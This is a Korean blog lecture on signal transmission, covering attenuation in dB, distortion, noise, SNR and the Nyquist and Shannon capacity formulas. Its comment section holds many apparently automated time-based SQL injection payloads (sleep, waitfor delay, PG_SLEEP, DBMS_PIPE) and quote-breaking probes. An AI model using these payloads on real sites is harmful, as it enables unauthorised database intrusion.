네트워크프로토콜

[네트워크프로토콜] Data and Signals(2)

by VICENTE97P4


March 15, 2022, 10:04 p.m.


보통 신호는 비주기 형태로 보냅니다. 그리고 비주기 형태는 무한대의 bandwidth를 필요로 하죠.

그런데 무한대의 bandwidth는 현실적으로 불가능합니다. 해결책은 나중에 적도록 하겠습니다.


Low pass: 저주파를 뜻합니다.

wide bandwidth: 동축케이블을 사용합니다. 케이블 TV에 사용합니다. bandwidth가 넓어서 영상 송출이 가능합니다.

narrow bandwidth: 전화선(twisted pair)을 사용합니다.(전화는 4kbps)


뭘 보내느냐(traffic)에 따라 channel을 선택하면 됩니다.


원래는 무한대의 bandwidth가 있어야 신호를 온전히 보낼 수 있는데 channel을 이용하면 그러지 못하니까 파형이 조금 바뀝니다.



위 그림에서 보내는 신호는 주기성이 있다고 가정합시다. bit rate는 N입니다.

왼쪽 아래 그림에 0을 보내는데 음수까지 내려갑니다.

1은 5V를 보내면 되는데, 0은 아예 안 보내면 문제가 될 수 있습니다. 그래서 극성을 달리하여 - 전압을 보냅니다.

기본 주파수에 나머지 신호(harmonics)들을 추가할 수록 원래 신호와 가까워짐을 오른쪽 그림을 보면 알 수 있습니다.

bandwidth를 늘릴 수록 원 파형에 가까워집니다.


요즘 추세는 bit rate N을 높이는 것입니다.

bit rate이 높아지면 f가 점점 커지고, f가 커지니까 높은 bandwidth를 요구합니다.



위 그림처럼 신호를 보내는 채널의 bandwidth f1 ~ f2라고 해봅시다.

그럼 bandwidth가 0 ~ f1인 신호는 이 채널에 보낼 수 없습니다. 

그래서 modulation으로 변조해서 채널에 실어줘야 합니다.



digital 신호 -> modulation(변조) -> analog 신호(반송파) -> channel -> analog 신호 -> demodulation(복조) -> 디지털 신호


그런데 이렇게 전송 시 문제가 생깁니다

attenuation: 거리가 멀수록 신호가 줄어듦

distortion: 왜곡

noise: 잡음


Attenuation


거리가 멀수록 파형은 유지되지만 크기가 줄어듭니다.

중간에 amplifier를 두어 증폭시켜주는 것이 해결책입니다.

attenuation은 전력을 데시벨로 간주하고 계산하여 구합니다.

P1: 처음 전송 시 세기, P2는 수신 시 세기라고 하면

10log(P2/P1) (로그의 밑은 10입니다.)

이 공식으로 구합니다.

log를 취하는 이유는 거리에 따라 1/10, 1/100로 급격히 줄어들기 때문입니다.

P2 = 0.5P1 즉, 신호의 세기가 절반이 되는 시기는

10log(0.5) = -3dB 입니다.



위 그림과 같이 dB을 이용하면 어디에 어느 정도 크기의 amplifier를 설치해야 하는지 계산하기 용이합니다.


Distorsion


하나의 신호가 여러 주파수 신호를 가질 수 있습니다.

그런데 주파수에 따라 조금씩 매체 이동속도가 달라서 속도의 차이가 생길 수 있습니다.

그럼 0이라는 원점에서의 이동(shift)이 생겨서 위상이 조금 달라질 수 있습니다.

그럼 최종적으로 신호의 위상이 달라지는데, 그 정도가 심하지는 않아 attenuation과 noise에 비해 후순위 과제입니다.


Noise


전자는 온도에 따라 속도가 달라집니다.

원 신호와 무관하게 별도의 신호가 생기고 이게 원 신호에 더해지는 경우가 많습니다.

그럼 원신호가 달라지는 현상이 생기고 이를 noise라고 합니다.


원 신호보다 noise가 많이 작으면 별 상관이 없는데 noise의 비율이 커지면 영향을 많이 받습니다.


SNR(Signal to Noise Ratio): 노이즈와 신호의 비율

이 SNR로 노이즈를 평가합니다.(다른 말로 신호의 품질을 나타냅니다.)

SNR = Ps / Pn


노이즈는 실제로 항상 발생합니다.

노이즈가 없는 이상적인 채널은

SNR = Ps / 0 = INF

SNR이 클 수록 좋습니다.


Nyquist 공식


bit rate: 채널의 용량(capacity)

C(capacity) = 2 * Bw(bandwidth) * log(L) (L은 level을 의미하며, 밑은 2입니다. 이 로그L은 bit 수를 의미합니다.)

한 번에 이 크기 이상의 data rate을 보낼 수 없다는 의미입니다.


Shanon 공식

C = Bw * log(1 + SNR) (밑은 2입니다.)

용량은 bandwidth에 비례합니다.

SNR이 0이 되는 경우에는 최악의 noise를 가질 때입니다.(noise = INF)

즉, noise가 너무 심하면 data를 보낼 수 없다는 뜻입니다.


nyquist와 shanon 공식을 연립하면 Level을 구할 수 있습니다.

네트워크프로토콜    26   view  877
Log in and leave a comment
fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:32 p.m.

oKq0osYj

Updated: Feb. 22, 2025, 5:32 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:32 p.m.

*1

Updated: Feb. 22, 2025, 5:32 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:32 p.m.

*1

Updated: Feb. 22, 2025, 5:32 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:32 p.m.

*1

Updated: Feb. 22, 2025, 5:32 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:32 p.m.

*1

Updated: Feb. 22, 2025, 5:32 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:32 p.m.

-1 OR 2+37-37-1=0+0+0+1

Updated: Feb. 22, 2025, 5:32 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:32 p.m.

-1 OR 3+37-37-1=0+0+0+1

Updated: Feb. 22, 2025, 5:32 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:32 p.m.

*if(now()=sysdate(),sleep(15),0)

Updated: Feb. 22, 2025, 5:32 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:32 p.m.

0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z

Updated: Feb. 22, 2025, 5:32 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:32 p.m.

0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z

Updated: Feb. 22, 2025, 5:32 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:32 p.m.

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

Updated: Feb. 22, 2025, 5:32 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:32 p.m.

-1; waitfor delay '0:0:15' --

Updated: Feb. 22, 2025, 5:32 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:32 p.m.

-1); waitfor delay '0:0:15' --

Updated: Feb. 22, 2025, 5:32 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:32 p.m.

-1 waitfor delay '0:0:15' --

Updated: Feb. 22, 2025, 5:32 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:32 p.m.

x9UQGGLD'; waitfor delay '0:0:15' --

Updated: Feb. 22, 2025, 5:32 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:32 p.m.

-1 OR 623=(SELECT 623 FROM PG_SLEEP(15))--

Updated: Feb. 22, 2025, 5:32 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:32 p.m.

-1) OR 181=(SELECT 181 FROM PG_SLEEP(15))--

Updated: Feb. 22, 2025, 5:32 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:32 p.m.

-1)) OR 95=(SELECT 95 FROM PG_SLEEP(15))--

Updated: Feb. 22, 2025, 5:32 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:32 p.m.

z6EvpGBN' OR 692=(SELECT 692 FROM PG_SLEEP(15))--

Updated: Feb. 22, 2025, 5:32 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:32 p.m.

jf2byOFB') OR 848=(SELECT 848 FROM PG_SLEEP(15))--

Updated: Feb. 22, 2025, 5:32 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:32 p.m.

rgtOmXlo')) OR 13=(SELECT 13 FROM PG_SLEEP(15))--

Updated: Feb. 22, 2025, 5:32 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:32 p.m.

*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

Updated: Feb. 22, 2025, 5:32 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:32 p.m.

'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

Updated: Feb. 22, 2025, 5:32 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:32 p.m.

'"

Updated: Feb. 22, 2025, 5:32 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:32 p.m.

����%2527%2522\'\"

Updated: Feb. 22, 2025, 5:32 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:32 p.m.

@@eFgKN

Updated: Feb. 22, 2025, 5:32 p.m.